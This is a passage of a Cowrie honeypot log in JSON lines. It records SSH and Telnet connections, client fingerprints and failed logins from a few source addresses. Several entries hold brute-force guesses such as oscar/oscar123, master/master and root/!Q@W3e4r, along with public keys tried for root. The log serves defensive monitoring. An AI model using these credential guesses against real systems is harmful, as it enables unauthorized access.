:[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:35.661532Z","src_ip":"8.218.166.49","session":"79983d3496b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"105.7","message":"Connection lost after 105.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:36.891076Z","src_ip":"8.218.166.49","session":"964d3834a032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:37.148105Z","src_ip":"8.218.166.49","session":"79854f2a1537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"97.6","message":"Connection lost after 97.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:38.985111Z","src_ip":"8.218.166.49","session":"79854f2a1537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:40.858156Z","src_ip":"8.218.166.49","session":"79983d3496b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"97.0","message":"Connection lost after 97.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:17:47.799099Z","src_ip":"8.218.166.49","session":"79983d3496b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":53268,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cdcf570714c","protocol":"ssh","message":"New connection: 8.218.166.49:53268 (10.17.0.5:22) [session: 7cdcf570714c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:18:22.343649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:18:24.412730Z","src_ip":"8.218.166.49","session":"7cdcf570714c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:18:29.674841Z","src_ip":"8.218.166.49","session":"7cdcf570714c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:18:33.359710Z","src_ip":"8.218.166.49","session":"7cdcf570714c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.4","message":"Connection lost after 17.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:18:39.765958Z","src_ip":"8.218.166.49","session":"7cdcf570714c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":38948,"dst_ip":"10.17.0.5","dst_port":22,"session":"95cee8d587a3","protocol":"ssh","message":"New connection: 8.218.166.49:38948 (10.17.0.5:22) [session: 95cee8d587a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:18:48.280047Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":48680,"dst_ip":"10.17.0.5","dst_port":22,"session":"43fb0b304def","protocol":"ssh","message":"New connection: 8.218.166.49:48680 (10.17.0.5:22) [session: 43fb0b304def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:18:55.829515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:18:55.834900Z","src_ip":"8.218.166.49","session":"43fb0b304def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":48690,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9c542416367","protocol":"ssh","message":"New connection: 8.218.166.49:48690 (10.17.0.5:22) [session: a9c542416367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:02.026232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:02.031630Z","src_ip":"8.218.166.49","session":"a9c542416367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":59786,"dst_ip":"10.17.0.5","dst_port":22,"session":"73413f69f2fa","protocol":"ssh","message":"New connection: 8.218.166.49:59786 (10.17.0.5:22) [session: 73413f69f2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:11.778796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:14.403749Z","src_ip":"8.218.166.49","session":"73413f69f2fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:14.407564Z","src_ip":"8.218.166.49","session":"73413f69f2fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:22.872571Z","src_ip":"8.218.166.49","session":"73413f69f2fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.5","message":"Connection lost after 18.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:30.276472Z","src_ip":"8.218.166.49","session":"73413f69f2fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:36.487945Z","src_ip":"8.218.166.49","session":"43fb0b304def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.78.193.4","src_port":47311,"dst_ip":"10.17.0.5","dst_port":23,"session":"3804b7473b6a","protocol":"telnet","message":"New connection: 151.78.193.4:47311 (10.17.0.5:23) [session: 3804b7473b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:38.814632Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:42.636571Z","src_ip":"8.218.166.49","session":"a9c542416367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.69.27","src_port":44878,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba645d8236b4","protocol":"telnet","message":"New connection: 142.93.69.27:44878 (10.17.0.5:23) [session: ba645d8236b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:43.654541Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.253.68.13","src_port":41796,"dst_ip":"10.17.0.5","dst_port":22,"session":"10431fb122b9","protocol":"ssh","message":"New connection: 103.253.68.13:41796 (10.17.0.5:22) [session: 10431fb122b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:48.812221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:48.816463Z","src_ip":"103.253.68.13","session":"10431fb122b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:49.048554Z","src_ip":"103.253.68.13","session":"10431fb122b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:2e:a2:3e:8e:a9:a6:55:94:06:0d:2b:13:07:9a:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmHIsxnHjlbAcad79gqnyYzipJnKL9BVaAl32ZAtrXNS454BnfdlgX1ieAijtGTM8CrsiwC7HWGPuT/rE4cjW/D+mHDLXWdv10lfsUAS3SwnGABvq//p57Si7piVUQtI2s5+rW2Xk5a+i11POPLdVuLLga/Z6/N7PAKLNuuejly+KPpgkEEuzZzjJrMZ9lcFg5rnR3S5cfqZDP9nwIQCtuRHyA9zmVOyvfrBMvjmc0csb5K/I+0Vr/FMOOMcOleebY9mwRPQC7ERl9l5WjW+rekpM7TbNL17GAuDnxJvEPQ/uk+G1ehCI72resaLxeftmKODYkZD8Ap4iBbr+PYRAZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:2e:a2:3e:8e:a9:a6:55:94:06:0d:2b:13:07:9a:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:50.167272Z","src_ip":"103.253.68.13","session":"10431fb122b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:2e:a2:3e:8e:a9:a6:55:94:06:0d:2b:13:07:9a:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmHIsxnHjlbAcad79gqnyYzipJnKL9BVaAl32ZAtrXNS454BnfdlgX1ieAijtGTM8CrsiwC7HWGPuT/rE4cjW/D+mHDLXWdv10lfsUAS3SwnGABvq//p57Si7piVUQtI2s5+rW2Xk5a+i11POPLdVuLLga/Z6/N7PAKLNuuejly+KPpgkEEuzZzjJrMZ9lcFg5rnR3S5cfqZDP9nwIQCtuRHyA9zmVOyvfrBMvjmc0csb5K/I+0Vr/FMOOMcOleebY9mwRPQC7ERl9l5WjW+rekpM7TbNL17GAuDnxJvEPQ/uk+G1ehCI72resaLxeftmKODYkZD8Ap4iBbr+PYRAZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:50.171442Z","src_ip":"103.253.68.13","session":"10431fb122b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:a8:c2:78:23:f8:dc:85:23:15:56:a9:ff:26:12:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN/jeDz73HYrzwUqqeRRIyhRciJoEHVpVHa/Oq7q1TxQpzSEsqmGxWfge4FshN/6Ti9IlwgczPK8+5vyaatSf/rIBk7iuMWW3sWVF4H4JlEHhQuIPS9chPsfnr2HxdWT03XJ1i+eQMnAdb04oOCRZnKOy8wVSjKQUfD0udTJ+55e08+1FYNH0uq37PexsPok+5Ry+vimUDv7hEP+9AIETYoQSnk6bmu0MUeyuE/JMBlZu+nP5v9wHy9uFa7vQlLXba+2iMlTSQtNn59NJDPpqqXeJma3rwpZfyhXtpfhWh1GoXKmbJbrUDE6JTBak/DoG1lODJv5FWIL0QyFaQ+MQ/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:a8:c2:78:23:f8:dc:85:23:15:56:a9:ff:26:12:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:50.400749Z","src_ip":"103.253.68.13","session":"10431fb122b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:a8:c2:78:23:f8:dc:85:23:15:56:a9:ff:26:12:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN/jeDz73HYrzwUqqeRRIyhRciJoEHVpVHa/Oq7q1TxQpzSEsqmGxWfge4FshN/6Ti9IlwgczPK8+5vyaatSf/rIBk7iuMWW3sWVF4H4JlEHhQuIPS9chPsfnr2HxdWT03XJ1i+eQMnAdb04oOCRZnKOy8wVSjKQUfD0udTJ+55e08+1FYNH0uq37PexsPok+5Ry+vimUDv7hEP+9AIETYoQSnk6bmu0MUeyuE/JMBlZu+nP5v9wHy9uFa7vQlLXba+2iMlTSQtNn59NJDPpqqXeJma3rwpZfyhXtpfhWh1GoXKmbJbrUDE6JTBak/DoG1lODJv5FWIL0QyFaQ+MQ/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:50.405018Z","src_ip":"103.253.68.13","session":"10431fb122b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:c8:03:c8:a9:4e:89:b0:d6:16:d5:15:dd:54:78:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvfJqRojQG/dInJHev0H7KWt5GjeT/0csJk6SGEPg4EJltsanCNjoCNYStBA0LkdH+9q8rfRpFT79Vy6UfsggGYXZoYkmPMkL3FhbTq/eWN9riTMXoa0R3GFmPFApW3MJYbUwVaIxKzMlgdAVsoiWiNI68eVXp6LoHAZkoguYdfPJ+Q2KVOIJU8ltVSvlcuzuD4cH9GOkvszthnIbX2k4WLsx0rAnZZkDiaBvXr1hTHCid4XTqat4db/jaSevgf/7dunB76wkxNVi0hyoysw//UMuNiKBLry4H7YVkz2URRJSo9ldsaIqtBi5ryqju0mEaRPdGPnukSC88vUoamCCKm0b4H3Tig+IPobhpnZ1LD9VX4vz9UW+dqI+tZdyM+nMaa3a7kcU7FwAvbxa5xWtP3yo5PeRGjUMM5lLmU7irNghahGAJ3/UIHUYnkBsfBVKr7EtuYi15TQdXUMGOE7J5IHbNE/XvXR7nTfVK9Vm0kbetz1+iW8C5MvJFx01yRw43CG2KcdDk5mhFBNaRrIMWyKhMFq1XrUoZ4W+n08FoBbVsOhF/XPvuyasKIwZT3y2deuSKwHmm4uxaouJFeM0gRzlnDfv2kO/JBIbLLsdfFdKPsp0Ip5+dtbX9zAM14cp6AmOpmKGD1d/Wsj8WaxHj5AFPoPSaOBE43bMYR4SZPw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:c8:03:c8:a9:4e:89:b0:d6:16:d5:15:dd:54:78:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:50.643140Z","src_ip":"103.253.68.13","session":"10431fb122b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:c8:03:c8:a9:4e:89:b0:d6:16:d5:15:dd:54:78:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvfJqRojQG/dInJHev0H7KWt5GjeT/0csJk6SGEPg4EJltsanCNjoCNYStBA0LkdH+9q8rfRpFT79Vy6UfsggGYXZoYkmPMkL3FhbTq/eWN9riTMXoa0R3GFmPFApW3MJYbUwVaIxKzMlgdAVsoiWiNI68eVXp6LoHAZkoguYdfPJ+Q2KVOIJU8ltVSvlcuzuD4cH9GOkvszthnIbX2k4WLsx0rAnZZkDiaBvXr1hTHCid4XTqat4db/jaSevgf/7dunB76wkxNVi0hyoysw//UMuNiKBLry4H7YVkz2URRJSo9ldsaIqtBi5ryqju0mEaRPdGPnukSC88vUoamCCKm0b4H3Tig+IPobhpnZ1LD9VX4vz9UW+dqI+tZdyM+nMaa3a7kcU7FwAvbxa5xWtP3yo5PeRGjUMM5lLmU7irNghahGAJ3/UIHUYnkBsfBVKr7EtuYi15TQdXUMGOE7J5IHbNE/XvXR7nTfVK9Vm0kbetz1+iW8C5MvJFx01yRw43CG2KcdDk5mhFBNaRrIMWyKhMFq1XrUoZ4W+n08FoBbVsOhF/XPvuyasKIwZT3y2deuSKwHmm4uxaouJFeM0gRzlnDfv2kO/JBIbLLsdfFdKPsp0Ip5+dtbX9zAM14cp6AmOpmKGD1d/Wsj8WaxHj5AFPoPSaOBE43bMYR4SZPw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:50.646862Z","src_ip":"103.253.68.13","session":"10431fb122b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:4a:15:83:d9:05:03:83:30:62:f2:49:a7:d2:99:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZJB2RcPCDoOFXh8DHrgB2aTwLkkBJcdQbEiF7E9LRaGZa88oxdhxUwfvij2FaQ27DMi5GArZJCoj+lQqkNX2ck2K4NDOMgJEsaZCqj5n+6lG+J9ZtXgbW1261KZzbvXMIifq2y7bwaR0CV+csOJd2wPQZ1TWSMqSPXzzR1JJaTpvDZgCbRCv1Hqkg7vGLlGRlh74WObOvg98z40CYvD4GKPyCH4eBNRZJJXjR6vbve0BXIILlWvaIb2I2gZNoEh7oNWutcwnFnI/vjvAA9PSLvqO6IYXj4OazHysTEucVj5IlQYKLBhTGw+5JZS923LN4tIbQ/lAe6SEmp3LEEPDX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:4a:15:83:d9:05:03:83:30:62:f2:49:a7:d2:99:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:19:50.875340Z","src_ip":"103.253.68.13","session":"10431fb122b9","protocol":"ssh"}
